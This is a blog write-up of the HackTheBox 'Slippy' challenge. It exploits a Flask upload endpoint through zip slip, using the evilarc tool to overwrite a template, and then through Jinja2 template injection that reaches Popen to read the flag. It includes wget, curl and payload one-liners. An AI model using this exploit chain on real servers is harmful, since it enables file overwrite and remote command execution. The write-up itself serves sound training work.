Skip to main content
  1. Policy to Packets/
  2. Writeups/
  3. HackTheBox/
  4. Challenges/

(Writeup) HackTheBox Labs - Challenge - Slippy

Table of Contents

Welcome!
#

  • HackTheBox is an offensive cybersecurity-focused platform.
  • This is a writeup for one of their challenges.

Scenario:
#

You’ve found a portal for a firmware upgrade service, responsible for the deployment and maintenance of rogue androids hunting humans outside the tractor city. The question is… what are you going to do about it?

Challenge Release Date: Nov, 26th 2021


Start:
#

Files:
#

HackTheBox is always fun. We have a zip file to extract and an IP : Port combo to connect to and presumably exploit. Let’s see what we have going on.

I spy:

  • Docker - These challenges are commonly found in containers, so it’s no surprise.
  • Web Files - Looks like the container is probably going to be a website.
  • Python - A Python website.

Alright, I guess I’ll start with the Docker files.

Docker Files:
#

Ah, so it’s a Flask server. Gotta keep that in my notes. The server updates on boot, so the answer probably isn’t an old CVE.

Don’t know if the container name will come in handy… Probably not.

  • “web_slippy”

Running as root. Got the starting script’s name.

  • “/app/run.py”

Python Files:
#

debug=True and use_evalex=false huh?

From Flask documentation:

Oh, cool, we get feedback.

  • application/config.py Config
  • application/blueprints/routes.py web
  • application/blueprints/routes.py api

Gotta check out Flask config docs, and that config.py file.

What? Okay, I need more context. Also, generate imported from util.py

From Flask documentation:

Debugging is already true, but maybe TESTING will be useful. Also, getting that upload directory will probably come in handy.

  • /app/application/static/archives

I see where we’re supposed to attack now. Gonna have to investigate the extract_from_archive function in util.


Testing:
#

I’m gonna create a tar.gz real quick of some dummy files, throw up Burp Suite, spawn the target host, and give it a test.

Burp Suite, Proxy, Intercept, and open the browser!

Hmm… I just thought about how we have debug on… How can we trigger an error?

Zip Slip:
#

Oh, I ran into something interesting on Google, which now makes the challenge’s name make more sense…

Warning! While I got the flag in the end, this is not the optimal route. See the official walkthrough for that.

After reviewing what files we have to override… index.html seems like the way to go, we just need to get in a quick:

{{ print(open("/app/flag.txt","r").read()) }}

I can use the directory information I got from Burp Suite earlier: /app/application/static/archives/random/file

I got stuck for a while until I found evilarc which was made for making evil archives like this.

wget https://raw.githubusercontent.com/ptoomey3/evilarc/refs/heads/master/evilarc.py
pyenv shell 2.7.18
echo '{{ print(open("/app/flag.txt","r").read()) }}' > index.html
python evilarc.py -f evil.tar.gz -o unix -p app/application/templates/ index.html

Uh-oh, I broke something. The “open” in my {{ print(open("/app/flag.txt","r").read()) }} seems to be undefined…

SSTI:
#

Looks like I need to do extra to get around jinja2. Thanks hacktricks!

Because I kinda busted the index.html, I gotta work around it. Crazy one-liner below:

python evilarc.py -f evil.tar.gz -o unix -p app/application/templates/ index.html >/dev/null ; curl -s -F "[email protected]" http://154.57.164.73:31820/api/unslippy -o /dev/null ; curl -s http://154.57.164.73:31820 | php -r 'echo html_entity_decode(stream_get_contents(STDIN));' ; echo

Let me break down this crazy one-liner:

  • evilarc - takes index.html and makes a zip that can exploit zip slip.
  • curl - sends that file to the server.
  • curl - requests index.html; has the new output.
  • php - fixes some of the html entities so it looks correct in the shell.

Using that one-liner allowed me to quickly make changes to index.html, then run the one-liner to get feedback. After trial and error, I ended up with the following (SSTI adjacent) line:

{{ [].__class__.__base__.__subclasses__() }}

And that gave me the class list:

It’s quite a lot.

Replacing each comma with a \n lets us see the position of each subclass in the list.

Also, searching for “open” shows that we have access to Popen.

{{ [].__class__.__base__.__subclasses__()[223](["cat","/app/flag"],stdout=-1).communicate() }}

After some back-and-forth trying to get the output from Popen, I got the flag back!

  • HTB{no-free-flags}
Reed Eggleston
Author
Reed Eggleston
B.S. in Cybersecurity | SSCP | CySA+ | PenTest+ | Project+